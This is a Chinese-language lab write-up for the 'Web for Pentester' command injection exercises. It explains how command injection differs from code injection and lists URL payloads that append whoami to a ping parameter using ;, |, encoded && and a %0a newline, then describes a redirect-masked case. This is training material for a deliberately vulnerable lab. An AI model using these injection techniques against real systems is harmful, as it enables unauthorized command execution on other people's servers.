Web for pentester_writeup之Commands injection篇
Commands injection(命令行注入)
代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛,凡是由于过滤不严格或者是逻辑问题导致的可以插入恶意代码,都属于代码注入。而命令注入就局限于system函数的过滤不严格导致执行了系统命令。
总之就是代码注入主要是执行php代码,而命令注入主要是执行系统命令。
Example 1

这是一个简单的命令注入,执行的是ping一个ip的命令,这里我们可以使用;
和|
符号来拼接执行后面的命令,也可以使用&&
符号(需编码)。
Payload 1
http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1;whoami

>Payload2
`http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1|whoami`

>Payload3
`http://192.168.219.136/commandexec/example1.php?ip=127.0.0.1%26%26whoami`

Example 2

对IP地址参数做了相关过滤限制,这里我们使用%0a
换行符来切换命令至下一行执行
Payload
http://192.168.219.136/commandexec/example2.php?ip=127.0.0.1%0awhoami

Example 3

我们发现换行符也不好使了,开启抓包模式,抓包发现程序有个302跳转,程序在运行时无论输入什么命令都会跳转Location: example3.php?ip=127.0.0.1

查看返回数据包发现,跳转时已经执行了相关命令
